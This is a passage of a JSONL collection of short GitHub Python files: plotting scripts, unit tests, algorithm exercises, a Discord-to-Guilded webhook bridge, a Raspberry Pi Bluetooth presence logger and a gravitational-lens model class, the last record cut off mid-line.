+{"seq_id":"71814276196","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nparams = {'legend.fontsize': 'x-large',\n 'figure.figsize': (15, 5),\n 'axes.labelsize': 'xx-large',\n 'axes.titlesize':'xx-large',\n 'xtick.labelsize':'xx-large',\n 'ytick.labelsize':'xx-large'}\nplt.rcParams.update(params)\n\n\nfrom plot_result import plotting_param\nfrom basic_parameters import get_basic_params\n\nbasic_params = get_basic_params()\nfilepath = basic_params[\"file_results\"]\nfigfilepath = \"./Results/figure_3.png\"\n\ngridspec_kw = {\n \"width_ratios\": [1, 0.2],\n}\nfig, axes = plt.subplots(nrows=10, ncols=2, gridspec_kw=gridspec_kw, constrained_layout=True, figsize=(20, 15))\n\nfor ax in axes[:, 1]:\n ax.set_xlim(0, 1)\n ax.set_ylim(0, 1)\n ax.axis('off')\n\ntmin = 0\ntmax = 3000\n\nwith h5py.File(filepath, 'r') as h5file:\n t = h5file[\"time\"][:]\n\n raw_lfp = h5file[\"extracellular/electrode_1/lfp/origin_data/channel_{}\".format(plotting_param[\"number_pyr_layer\"])][\n :]\n\n axes[0, 0].plot(t[:raw_lfp.size], raw_lfp, label=\"raw lfp\")\n axes[0, 0].set_ylabel(\"mV\")\n axes[0, 1].text(0, 0.5, \"Raw LFP\", fontsize=\"xx-large\")\n\n\n intracellular_group = h5file[\"intracellular/origin_data\"]\n\n axes_idx = 1\n for celltype_idx, celltype in enumerate(plotting_param[\"neuron_order\"]):\n for neuron_number in intracellular_group.keys():\n if celltype == intracellular_group[neuron_number].attrs[\"celltype\"]:\n Vm = intracellular_group[neuron_number][:]\n if np.sum(Vm[0:120000] > 0) == 0:\n continue\n\n axes[axes_idx, 0].plot(t, Vm, label=celltype, color=plotting_param[\"neuron_colors\"][celltype])\n axes[axes_idx, 1].text(0, 0.5, celltype, fontsize=\"xx-large\")\n\n axes[axes_idx, 0].set_ylabel(\"mV\")\n\n axes[axes_idx, 0].set_ylim(Vm.min()*1.2, 1.2*Vm.max())\n\n axes_idx += 1\n break\n\nfor ax in axes[:, 0]:\n ax.set_xlim(tmin, tmax)\n\naxes[-1, 0].set_xlabel(\"time, ms\", fontsize=16)\n\nfig.savefig(figfilepath)\nplt.show()","repo_name":"ivanmysin/CA1_rhythms_model","sub_path":"figure_3.py","file_name":"figure_3.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30397064823","text":"import json\nfrom datetime import timezone, datetime\n\nfrom dateutil.parser import isoparse\nfrom modules.recorder import StreamData\n\n\ndef test_stream_data_sample():\n sample_file = 'samples/live_kraken.json'\n with open(sample_file, 'r') as fr:\n data = json.load(fr)\n actual = StreamData.from_json(data)\n expected = data['stream']\n expected_time = isoparse(expected['created_at'])\n assert actual.type == expected['stream_type']\n assert actual.created_at.astimezone(timezone.utc) == expected_time\n assert actual.preview == expected['preview']['medium']\n assert actual.user_logo == expected['channel']['logo']\n assert actual.title == expected['channel']['status']\n assert actual.url == expected['channel']['url']\n\n\ndef test_stream_data_manual():\n expected = dict(\n type_='live',\n created_at=datetime(2020, 1, 2),\n preview=\"https://example.com/preview.png\",\n user_logo=\"https://example.com/user_logo.png\",\n title=\"Stream title\",\n url=\"https://www.twitch.tv/user\",\n )\n actual = StreamData(**expected)\n assert actual.type == expected['type_']\n assert actual.created_at == expected['created_at']\n assert actual.preview == expected['preview']\n assert actual.user_logo == expected['user_logo']\n assert actual.title == expected['title']\n assert actual.url == expected['url']\n","repo_name":"cosandr/twitch-vods","sub_path":"test/test_stream_data.py","file_name":"test_stream_data.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14451939014","text":"from gensim.models import Word2Vec\nfrom sklearn.decomposition import PCA\nfrom matplotlib import pyplot\n#define training data\nsentences = [['this','is','the','first','sentence','using','word2vec'],['this','is','sentence','number','two'],['this','is','sentence','number','three'],['this','is','sentence','number','four'],['and','finally,','this','is','sentence','number','five']]\n#train model\nmodel = Word2Vec(sentences,min_count = 1)\n#fit a 2D PCA model to the vectors\nX = model[model.wv.vocab]\npca = PCA(n_components = 2)\nresult = pca.fit_transform(X)\n#create a scatter plot of the projection\npyplot.scatter(result[:,0], result[:,1])\nwords = list(model.wv.vocab)\nfor i, word in enumerate(words):\n pyplot.annotate(word, xy = (result[i,0], result[i,1]))\npyplot.show()\n \n","repo_name":"davisalukka/SCRMBL-alpha","sub_path":"word_embeddings.py","file_name":"word_embeddings.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"36850350443","text":"#!/usr/bin/python\n\nimport bluetooth\nimport time\nfrom lcd_display import lcd\n\nd = lcd()\nd.clear()\nd.display_string(\"Who's Home?\", 1)\n\nsleep_time = 600\n\nwhile True:\n string = ''\n\n result = bluetooth.lookup_name('1C:66:AA:CF:DD:35', timeout=5)\n if (result != None):\n string = string + ' Dad'\n d.display_string(string, 2)\n\n result = bluetooth.lookup_name('94:3A:F0:63:2D:99', timeout=5)\n if (result != None):\n string = string + ' Mum'\n d.display_string(string, 2)\n\n result = bluetooth.lookup_name('34:BB:1F:39:DE:12', timeout=5)\n if (result != None):\n string = string + ' Sophie'\n d.display_string(string, 2)\n\n f = open('whoshome.log', 'a')\n f.write(time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.gmtime()) + string + '\\n')\n f.close()\n\n time.sleep(sleep_time)\n","repo_name":"paulbarber/raspi-gpio","sub_path":"whoshome.py","file_name":"whoshome.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"0"}
+{"seq_id":"21870429075","text":"from encod import Encod\nfrom lib.CaesarCipher import Cipher\n\ndec = [\n 356186856877438356,\n 495248782119056370,\n 1006181676913522106,\n 1116309436929507253,\n 453165664666329869,\n 1111986062241549288,\n 1094539381712540081,\n 873839065198231552\n ]\n# Сообщение для дешифровки - список с десятичными целыми числами.\n# Даже если сообщение закодировано одним число, например 123456789, передать его в виде списка:\n# dec = [123456789]\n\nencod = Encod()\ncaesar = Cipher(welcome=False)\n# welcome=\n# True(default) - выводит приветственное сообщение в терминале.\n# False - не выводит приветственное сообщение в терминале.\n\nword1 = \"\".join(encod.decoding(dec, encod=\"32_lw\"))\n# encod=\n# 32_lw или 32_up\n# 64_lw или 63_up\n\n\nprint(f\"{caesar.decrypting(word1, write_to_file=False)}\")\n# write_to_file=\n# True(default) - выводит все данные в файл decode.txt.\n# False - не выводит все данные в файл decode.txt.\n# key=\n# None(default) - выводит полный перебор ключей для шифра Цезаря.\n# Number(int) - выводит только значение шифра Цезаря с ключом number.\n#\n# Если передать 0, то выводит сообщение без сдвига вообще.\n","repo_name":"socket1970/lbKMZIint2strPY","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74323016676","text":"\"\"\"Say you have an array for which the ith element is the price of a given\nstock on day i.\n\nDesign an algorithm to find the maximum profit. You may complete at most two\ntransactions.\n\nNote: You may not engage in multiple transactions at the same time (i.e., you\nmust sell the stock before you buy again).\n\nExample 1:\n\n Input: [3,3,5,0,0,3,1,4]\n Output: 6\n Explanation: Buy on day 4 (price = 0) and sell on day 6 (price = 3),\n profit = 3-0 = 3.\n Then buy on day 7 (price = 1) and sell on day 8 (price = 4), profit = 4-1\n = 3.\n\nExample 2:\n\n Input: [1,2,3,4,5]\n Output: 4\n Explanation: Buy on day 1 (price = 1) and sell on day 5 (price = 5),\n profit = 5-1 = 4.\n Note that you cannot buy on day 1, buy on day 2 and sell them later, as\n you are engaging multiple transactions at the same time. You must sell\n before buying again.\n\nExample 3:\n\n Input: [7,6,4,3,1]\n Output: 0\n Explanation: In this case, no transaction is done, i.e. max profit = 0.\n\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n # Time complexity: O(n)\n # Space complexity: O(n)\n def maxProfit(self, prices: List[int]) -> int:\n if len(prices) <= 1:\n return 0\n\n n = len(prices)\n left_min = prices[0]\n right_max = prices[-1]\n\n left_profits = [0] * n\n right_profits = [0] * (n + 1)\n\n for l in range(1, n):\n left_profits[l] = max(left_profits[l - 1], prices[l] - left_min)\n left_min = min(left_min, prices[l])\n\n r = n - l - 1\n right_profits[r] = max(right_profits[r + 1], right_max - prices[r])\n right_max = max(right_max, prices[r])\n\n max_profit = 0\n\n for i in range(n):\n max_profit = max(\n max_profit, left_profits[i] + right_profits[i + 1]\n )\n\n return max_profit\n\n\nclass SolutionOptimizedSpace:\n # Time complexity: O(n)\n # Space complexity: O(1)\n def maxProfit(self, prices: List[int]) -> int:\n if len(prices) <= 1:\n return 0\n\n one_buy = two_buy = float(\"inf\")\n one_profit = two_profit = 0\n\n for price in prices:\n one_buy = min(one_buy, price)\n one_profit = max(one_profit, price - one_buy)\n two_buy = min(two_buy, price - one_profit)\n two_profit = max(two_profit, price - two_buy)\n\n return two_profit\n\n\nif __name__ == \"__main__\":\n S = Solution()\n\n # Example 1\n prices = [3, 3, 5, 0, 0, 3, 1, 4]\n assert S.maxProfit(prices) == 6\n\n # Example 2\n prices = [1, 2, 3, 4, 5]\n assert S.maxProfit(prices) == 4\n\n # Example 3\n prices = [7, 6, 4, 3, 1]\n assert S.maxProfit(prices) == 0\n print(\"All tests passed.\")\n","repo_name":"federicociner/leetcode","sub_path":"dynamic_programming/buy_sell_stock_iii.py","file_name":"buy_sell_stock_iii.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30011232566","text":"import numpy as np\r\nimport time\r\nimport argparse\r\nfrom yaml import load, dump\r\nfrom art_utils.cairo_painter import CairoPainter\r\nfrom art_utils.gradient import build_gradient, color_from_hex\r\nfrom art_utils.interp import interpgrid\r\n\r\n# Load the configuration file\r\nparser = argparse.ArgumentParser(description='Generate a random image of a magnetic field')\r\nparser.add_argument('config', type=argparse.FileType('r'))\r\nargs = parser.parse_args()\r\ndata = load(args.config) or dict()\r\n\r\n# Sanitize the configuration, insert defaults as needed\r\ncolorlist = data.get('colors', [[\"fe7f2d\",\"fcca46\"],[\"fcca46\",\"a1c181\"],[\"a1c181\",\"619b8a\"],[\"619b8a\",\"233d4d\"]])\r\ncolorpoints = data.get('color_points', [[0,0.25],[0.25,0.5],[0.5,0.75],[0.75,1.0]])\r\n\r\nif len(colorlist) != len(colorpoints):\r\n print('Colors and color points are not equal in length')\r\n quit()\r\n\r\nGRADIENT_RES = data.get('gradient_res', 4096)\r\n\r\nimage = data.get('image', {})\r\nWIDTH = image.get('width', 1080)\r\nHEIGHT = image.get('height', 1080)\r\nXBORDER = image.get('x_border', 0)\r\nYBORDER = image.get('y_border', 0)\r\nBG_COLOR = image.get('bg', 'FFFFFF')\r\nprint('Image size {}x{}, borders {}x{}, bg {}'.format(WIDTH,HEIGHT,XBORDER,YBORDER,BG_COLOR))\r\n\r\nN_PTS = data.get('n_wires', 16)\r\n\r\nfield_size = data.get('field_size', {})\r\nXRES = field_size.get('x', 720)\r\nYRES = field_size.get('y', 720)\r\nprint('Field size {}x{} with {} wires'.format(XRES,YRES, N_PTS))\r\n\r\nstroke_obj = data.get('strokes', {})\r\nSTROKE_WIDTH = stroke_obj.get('width', 8)\r\nN_STROKES_X = stroke_obj.get('x', 120)\r\nN_STROKES_Y = stroke_obj.get('y', 120)\r\nTIME_STEP = stroke_obj.get('step_size', 0.5)\r\nTIME_STEPS = stroke_obj.get('n_steps', 40)\r\nTIME_LEN = TIME_STEP * TIME_STEPS\r\nprint('Stroke quantity {}x{}, width {}, step size {}, steps {}, length {}'.format(N_STROKES_X,N_STROKES_Y,STROKE_WIDTH, TIME_STEP,TIME_STEPS,TIME_LEN))\r\n\r\nSEED = data.get('seed', None)\r\nif SEED is not None:\r\n print('Using seed {}'.format(SEED))\r\n np.random.seed(SEED)\r\n\r\nANIMATE = data.get('animate', False)\r\nprint('Outputting ' + ('multiple frames' if ANIMATE else 'a single image'))\r\n\r\nstarttime = time.time()\r\n\r\nprint('Generating data')\r\n# Set up our gradient map\r\ngradient = build_gradient(colorlist, colorpoints, resolution=GRADIENT_RES)\r\n\r\nwindow_x = np.linspace(0,WIDTH,XRES)\r\nwindow_y = np.linspace(0,HEIGHT,YRES)\r\n\r\npts = np.random.rand(N_PTS,2)*[WIDTH,HEIGHT]\r\ncurrents = (np.random.rand(N_PTS)/2+0.5)*np.random.choice([-1,1],N_PTS)\r\n \r\nX,Y = np.meshgrid(window_x,window_y)\r\n\r\nBx = np.zeros_like(X)\r\nBy = np.zeros_like(Y)\r\ncmap = np.zeros_like(X)\r\n\r\nfor pt, current in zip(pts, currents):\r\n sq_mag = (X-pt[0])**2 + (Y-pt[1])**2\r\n mag = np.sqrt(sq_mag)\r\n\r\n Bmag = current/mag\r\n cmap += Bmag\r\n By += Bmag * np.cos(np.arctan2(Y-pt[1],X-pt[0]))\r\n Bx += Bmag * -np.sin(np.arctan2(Y-pt[1],X-pt[0]))\r\n\r\n# Clamp it down to a multiple of the mean since the max is theoretically inf\r\ncmapmin, cmapmax = cmap.min(), cmap.max()\r\ncmapmean, cmapstd = cmap.mean(), cmap.std()\r\ncmap = np.clip(cmap, cmapmean-cmapstd/2,cmapmean+cmapstd/2)\r\n\r\n# Normalize cmap to [0,1]\r\ncmapmin, cmapmax = cmap.min(), cmap.max()\r\ncmap = (cmap-cmapmin)/(cmapmax-cmapmin)\r\n\r\ncmap += (np.random.rand(cmap.shape[0],cmap.shape[1])-0.5)*0.001\r\ncmap = np.clip(cmap, 0, 1)\r\n\r\n# Set up Cairo env\r\npainter = CairoPainter(width=WIDTH, height=HEIGHT, bg=color_from_hex(BG_COLOR))\r\npainter.insert_borders(XBORDER, YBORDER)\r\n\r\n# Normalize the vector field. This simplifies the streamline drawing process\r\ns = np.ma.sqrt(Bx**2+By**2) # Magnitude\r\nBy = By / s\r\nBx = Bx / s\r\n\r\nx_sep = WIDTH/N_STROKES_X\r\ny_sep = HEIGHT/N_STROKES_Y\r\n\r\n# Generate a list of start points for the strokes\r\nmesh = np.array(np.meshgrid(range(N_STROKES_X), range(N_STROKES_Y)), dtype=np.float64)\r\nstroke_start_pts = mesh.T.reshape(-1, 2)\r\nstroke_start_pts[:,0] += np.random.rand(N_STROKES_X*N_STROKES_Y)\r\nstroke_start_pts[:,1] += np.random.rand(N_STROKES_X*N_STROKES_Y)\r\nstroke_start_pts[:,0] = np.clip(stroke_start_pts[:,0],0,N_STROKES_X)\r\nstroke_start_pts[:,1] = np.clip(stroke_start_pts[:,1],0,N_STROKES_Y)\r\n\r\n# Determine the order in which to draw our strokes\r\n# Ideally, we will sort by color map\r\ncmap_startpoints = interpgrid(cmap, stroke_start_pts[:,0]*(XRES/N_STROKES_X), stroke_start_pts[:,1]*(YRES/N_STROKES_Y))\r\nstartpoint_indices_ordered = np.argsort(cmap_startpoints)\r\n\r\ncmap += (np.random.rand(cmap.shape[0],cmap.shape[1])-0.5)*0.1\r\ncmap = np.clip(cmap, 0, 1)\r\n\r\nprint('Painting')\r\n# Plot integrated strokes, in order of starting magnitude\r\nline_pts = np.zeros((TIME_STEPS,2))\r\nfor startpoint_index in startpoint_indices_ordered:\r\n start_x = stroke_start_pts[startpoint_index,0]\r\n start_y = stroke_start_pts[startpoint_index,1]\r\n num_line_pts=0\r\n xi = start_x * x_sep\r\n yi = start_y * y_sep\r\n\r\n t = 0\r\n num_line_pts = 0\r\n line_pts[0] = [xi,yi]\r\n num_line_pts+=1\r\n while t < TIME_LEN and num_line_pts < TIME_STEPS:\r\n last_pt = line_pts[num_line_pts-1]\r\n grid_x = last_pt[0]/(WIDTH/XRES)\r\n grid_y = last_pt[1]/(HEIGHT/YRES)\r\n Bx_i = interpgrid(Bx, grid_x, grid_y)\r\n By_i = interpgrid(By, grid_x, grid_y)\r\n dp = np.array([Bx_i,By_i])*TIME_STEP\r\n stroke_d_delta_sq = dp[0]**2+dp[1]**2\r\n pt = last_pt + dp\r\n line_pts[num_line_pts]=pt\r\n num_line_pts+=1\r\n if pt[0] < 0 or pt[0] > WIDTH or pt[1] < 0 or pt[1] > HEIGHT:\r\n break\r\n \r\n grid_x = xi/(WIDTH/XRES)\r\n grid_y = yi/(HEIGHT/YRES)\r\n c = interpgrid(cmap, grid_x, grid_y)\r\n\r\n # Actual line\r\n rgb = gradient[int(c*(GRADIENT_RES-1))]\r\n painter.draw_line(line_pts[:num_line_pts], color=rgb, width=STROKE_WIDTH)\r\n if ANIMATE and startpoint_index % 10 == 0:\r\n painter.output_frame()\r\n print(painter.frame)\r\n\r\nif ANIMATE:\r\n # 5 seconds of dead time at end of sequence\r\n for i in range(60*5):\r\n painter.output_frame()\r\nelse:\r\n painter.output_snapshot('./single_frame.png')\r\n\r\nprint('Finished generating in {}s'.format(time.time()-starttime))","repo_name":"tgiv014/mag_field","sub_path":"mag_field.py","file_name":"mag_field.py","file_ext":"py","file_size_in_byte":6039,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"31780262742","text":"import tkinter as tk\n\ndef check_frame_packing(frame):\n is_packed = frame.winfo_ismapped()\n print(is_packed)\n return is_packed\n\ndef pack_frame():\n frame2.pack()\n check_frame_packing(frame2)\n\ndef unpack_frame():\n frame2.pack_forget()\n check_frame_packing(frame2)\n\nroot = tk.Tk()\n\nframe1 = tk.Frame(root, width=200, height=100, bg=\"red\")\nframe1.pack()\n\nframe2 = tk.Frame(root, width=200, height=100, bg=\"blue\")\n\npack_button = tk.Button(root, text=\"Pack Frame2\", command=pack_frame)\npack_button.pack()\n\nunpack_button = tk.Button(root, text=\"Unpack Frame2\", command=unpack_frame)\nunpack_button.pack()\n\n# Initial check before any packing/unpacking\nprint(\"Initial - Frame2 is packed:\", check_frame_packing(frame2))\n\nroot.mainloop()\n","repo_name":"zubegpro-codes/Face-Attaindace-system","sub_path":"judtcheck.py","file_name":"judtcheck.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"6157773412","text":"import discord\nfrom discord.ext import commands\nimport os\nfrom dotenv import load_dotenv\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\n# import urllib.request\nimport re\n\nload_dotenv()\n\nbot = commands.Bot(command_prefix='W!')\n\n@bot.event\nasync def on_ready():\n print('Discord bot logged in as ' + bot.user.name)\n await bot.change_presence(activity=discord.Game(name=os.getenv('DISCORD_STATUS')))\n\n@bot.event\nasync def on_message(ctx):\n if str(ctx.webhook_id) == re.findall(\"discord.com\\/api\\/webhooks\\/([^\\/]+)\\/\", os.getenv('DISCORD_WEBHOOK'))[0]:\n return\n if str(ctx.channel.id) != os.getenv('DISCORD_CHANNEL_ID'):\n return\n\n displayname = ctx.author.name\n\n try:\n if ctx.author.nick:\n displayname = ctx.author.nick + ' (' + ctx.author.name + ')'\n except:\n pass\n\n webhook = DiscordWebhook(url=os.getenv('GUILDED_WEBHOOK'), content='<' + displayname + '> ' + ctx.content)\n attachment_urls = []\n\n if ctx.attachments:\n for attachment in ctx.attachments:\n # When Guilded supports file uploads, we can use this. For now, we'll leave it there.\n # req = urllib.request.Request(\n # attachment.url,\n # headers={'User-Agent':'DiscordBot (https://wiilink24.com, 1.0.0)'}\n # )\n # webhook.add_file(file=urllib.request.urlopen(req), filename=attachment.filename)\n attachment_urls.append(attachment.url)\n webhook = DiscordWebhook(url=os.getenv('GUILDED_WEBHOOK'), content='<' + displayname + '> ' + ctx.content + \" \" + \" \".join(attachment_urls))\n\n response = webhook.execute()\n\nbot.run(os.getenv('DISCORD_TOKEN'))","repo_name":"jaylenjinx/guilded-bridge","sub_path":"discordbot.py","file_name":"discordbot.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"72424885478","text":"import pytest\nfrom src.ipstack import IPStackClient\n\n\ndef test_init_ipstack_client(mock_settings):\n \"\"\"\"\n GIVEN: A Settings object\n WHEN: An IPStackClient object is instantiated\n THEN: The IPStackClient object has the correct API access attributes pulled from settings\n \"\"\"\n ipstack_client = IPStackClient(mock_settings)\n assert ipstack_client._ipstack_api_host == \"foo.ipstack.com\"\n assert ipstack_client._ipstack_api_key == \"super-secret-key\"\n\n\ndef test_request_ip_info(mock_settings, mock_response, mocker):\n \"\"\"\n GIVEN: An instantiated IPStackClient object\n WHEN: IPStackClient.get_ipstack_data is called\n THEN: The correct URL is used to request IP info and an IPAddressInfo object is returned\n \"\"\"\n mock_response = mocker.MagicMock()\n mock_response.status_code = 200\n mock_response.json.return_value = {\"foo\": \"bar\"}\n mock_request = mocker.patch(\"src.ipstack.requests.get\", return_value=mock_response)\n mock_ip_information = mocker.patch(\"src.ipstack.IPInformation\")\n\n ipstack_client = IPStackClient(mock_settings)\n ipstack_client.get_ipaddress_info('10.10.10.10')\n \n expected_url = url = f\"http://{mock_settings.ipstack_api_host}/10.10.10.10?access_key={mock_settings.ipstack_api_key.get_secret_value()}\"\n assert mock_request.called_once_with(expected_url)\n assert mock_ip_information.called_once_with(foo=\"bar\")\n","repo_name":"whereisrysmind/iploc","sub_path":"tests/unit/test_ipstack_client.py","file_name":"test_ipstack_client.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32525914511","text":"\"\"\"\nСкобочная последовательность\n\nВот какую задачу Тимофей предложил на собеседовании одному из кандидатов.\n\nДана скобочная последовательность. Нужно определить, правильная ли она.\n\nБудем придерживаться такого определения:\nпустая строка —– правильная скобочная последовательность;\nправильная скобочная последовательность, взятая в скобки одного типа, –— правильная скобочная последовательность;\nправильная скобочная последовательность с приписанной слева или справа правильной скобочной последовательностью —– тоже правильная.\nНа вход подаётся последовательность из скобок трёх видов: [], (), {}.\n\nНапишите функцию is_correct_bracket_seq, которая принимает на вход скобочную последовательность и возвращает True,\nесли последовательность правильная, а иначе False.\n\nФормат ввода\nНа вход подаётся одна строка, содержащая ��кобочную последовательность. Скобки записаны подряд, без пробелов.\n\nФормат вывода\nВыведите «True» или «False».\n\nПример 1\nВвод\n{[()]}\nВывод\nTrue\nПример 2\nВвод\t\n()\nВывод\nTrue\n\"\"\"\n\n\nclass Stack:\n\n def __init__(self):\n self.__items = []\n self.__size = 0\n\n def push(self, item):\n self.__items.append(item)\n self.__size += 1\n\n def pop(self):\n self.__items.pop()\n self.__size -= 1\n\n def peek(self):\n return self.__items[-1]\n\n def is_empty(self):\n return self.__size == 0\n\n\nBRACKETS = {\n '(': ')',\n '{': '}',\n '[': ']',\n}\n\n\ndef is_correct_bracket_seq(bracket_seq):\n stack = Stack()\n for bracket in bracket_seq:\n if bracket in BRACKETS:\n stack.push(bracket)\n elif not stack.is_empty() and BRACKETS[stack.peek()] == bracket:\n stack.pop()\n else:\n return False\n if stack.is_empty():\n return True\n return False\n\n\ndef main():\n bracket_seq = input()\n print(is_correct_bracket_seq(bracket_seq))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Kolanser/algorithms","sub_path":"basic_data_structures/correct_bracket_seq.py","file_name":"correct_bracket_seq.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"73575403556","text":"import numpy as np\nimport pandas as pd\n\n# calculates the gini value\ndef gini(p):\n return p ** 2\n\n\nif __name__ == \"__main__\":\n df = pd.DataFrame({\"Strong\": [\"No\", \"No\", \"Yes\", \"No\"],\n \"Tall\": [\"Yes\", \"Yes\", \"No\", \"Yes\",],\n \"Fast\": [\"Yes\", \"Yes\", \"Yes\", \"No\",],\n \"Position\": [\"WR\", \"WR\", \"RB\", \"QB\"]})\n\n df = pd.DataFrame({\"Deadline?\": [\"Urgent\", \"Urgent\", \"Near\", \"None\", \"None\", \"None\", \"Near\", \"Near\", \"Near\", \"Urgent\"],\n \"Party?\": [\"Yes\", \"No\", \"Yes\", \"Yes\", \"No\", \"Yes\", \"No\", \"No\", \"Yes\", \"No\"],\n \"Lazy?\": [\"Yes\", \"Yes\", \"Yes\", \"No\", \"Yes\", \"No\", \"No\", \"Yes\", \"Yes\", \"No\"],\n \"Activity\": [\"Party\", \"Study\", \"Party\", \"Party\", \"Pub\", \"Party\", \"Study\", \"TV\", \"Party\", \"Study\"]})\n\n\n# calculate the gini impurity for entire set\np_classes = df[\"Activity\"].value_counts(normalize=True)\n\ntotal_impurity = 1 - sum([gini(p) for p in p_classes])\nprint(f\"Impurity: {total_impurity}\")\n\n# calculate impurity for a particular feature i.e. Fast\n\n# probability of each feature value is needed for each class as well as the probability of that feature value occuring over the entire dataset\nfeature = \"Lazy?\" # example feature\nclassification = \"Activity\" # example classification\nfeatures = df[feature].unique() # feature values for Fast\np_features = df[feature].value_counts(normalize=True) # probabilities for each feature value of Fast over entire dataset\nclasses = df[classification].unique() # classes\n\nimpurity = 0 # represents the impurity for the given feature\ngain = 0 # represents the gain for the given feature value\n\n\n# find gini for each feature value for a given feature\nfor feature_val in features:\n gain = 1\n\n # find the probability of the feature value for each class\n for class_ in classes:\n\n\n p_classes = df.loc[df[feature] == feature_val][classification].value_counts(normalize=True) # probability of the class for the given feature value\n p_class = p_classes[class_] if class_ in p_classes.keys() else 0 # assigning feature if it has a probability otherwise it's zero\n gain -= gini(p_class) # add to gain for this specific feature value using the probability squared\n\n impurity += p_features[feature_val] * gain # add gini impurity to overall impurity for a feature\n\n\nprint(f\"Gain on feature: {feature} is {total_impurity - impurity}\") # gain is the difference of total impurity and the impurity for the given feature\n \n\n\n\n \n\n\n\n","repo_name":"Andrew011002/Learning-Developing-Software","sub_path":"Python/Machine Learning/Supervised Learning/Decision Trees/gini_impurity_1.py","file_name":"gini_impurity_1.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72456147557","text":"field = [input().split() for _ in range(5)]\nour_pos = []\n\ndirections = {\n 'right': (0, 1),\n 'left': (0, -1),\n 'up': (-1, 0),\n 'down': (1, 0)\n}\n\ntotal_targets = 0\nfor r in range(5):\n for c in range(5):\n if field[r][c] == 'A':\n our_pos = [r, c]\n if field[r][c] == 'x':\n total_targets += 1\n\ncommands_count = int(input())\nshot_targets = 0\ntarget_locations = []\n\nfor _ in range(commands_count):\n command = input().split()\n d_r = directions[command[1]][0]\n d_c = directions[command[1]][1]\n\n if command[0] == 'move':\n new_r = our_pos[0] + (d_r * int(command[2]))\n new_c = our_pos[1] + (d_c * int(command[2]))\n if 0 <= new_r < 5 and 0 <= new_c < 5 and field[new_r][new_c] == '.':\n our_pos = [new_r, new_c]\n\n elif command[0] == 'shoot':\n current_row = our_pos[0]\n current_col = our_pos[1]\n while True:\n current_row += d_r\n current_col += d_c\n if current_row < 0 or current_col < 0 or current_row >= 5 or current_col >= 5:\n break\n if field[current_row][current_col] == 'x':\n field[current_row][current_col] = '.'\n shot_targets += 1\n target_locations.append([current_row, current_col])\n break\n if shot_targets == total_targets:\n break\nif shot_targets == total_targets:\n print(f\"Training completed! All {total_targets} targets hit.\")\nelse:\n print(f\"Training not completed! {total_targets - shot_targets} targets left.\")\n\nprint(*target_locations, sep='\\n')\n","repo_name":"Georgi-A-Andreev/softuni_courses","sub_path":"softuni_courses/python_advanced/redo_all_problems/matrix_exercise_2/range_day.py","file_name":"range_day.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"29044984573","text":"class MacroLensModel(object):\n\n def __init__(self, components):\n\n \"\"\"\n This class defines a 'macromodel'. In lensing terminology this is the global mass profile\n for the main deflector, satellite galaxies, and galaxies along the line of sight (everything\n except substructure).\n\n :param components: a list of macromodel components\n\n example:\n components = [PowerLawShear(zlens, kwargs), SISsatellite(zlens, kwargs), ... etc.]\n\n For description of the component classes, see the classes in LensComponents\n \"\"\"\n\n if not isinstance(components, list):\n components = [components]\n self.components = components\n self.n_lens_models = self._count_models(components)\n\n def add_component(self, new_component):\n\n if not isinstance(new_component, list):\n new_component = [new_component]\n\n self.components += new_component\n self.n_lens_models = self._count_models(self.components)\n\n def set_reoptimize(self, reoptimize=bool):\n\n for component in self.components:\n component.reoptimize = reoptimize\n\n @property\n def centroid(self):\n main = self.components[0]\n x_center, y_center = main.kwargs[0]['center_x'], main.kwargs[0]['center_y']\n return x_center, y_center\n\n @property\n def zlens(self):\n return self.components[0].zlens\n\n def update_kwargs(self, new_kwargs):\n\n if len(new_kwargs) != self.n_lens_models:\n raise Exception('New and existing keyword arguments must be the same length.')\n\n count = 0\n for model in self.components:\n n = model.n_models\n new = new_kwargs[count:(count+n)]\n model.update_kwargs(new)\n count += n\n\n def get_lenstronomy_args(self):\n\n lens_model_list, redshift_list, kwargs, observed_convention_index_bool = [], [], [], []\n for component in self.components:\n\n #model_names, model_redshifts, model_kwargs, model_convention_index = component.lenstronomy_args()\n lens_model_list += component.lens_model_list\n redshift_list += component.redshift_list\n kwargs += component.kwargs\n observed_convention_index_bool += [component.convention_index] * component.n_models\n\n observed_convention_index = None\n for i, value in enumerate(observed_convention_index_bool):\n if value:\n if observed_convention_index is None:\n observed_convention_index = [i]\n else:\n observed_convention_index.append(i)\n\n return lens_model_list, redshift_list, 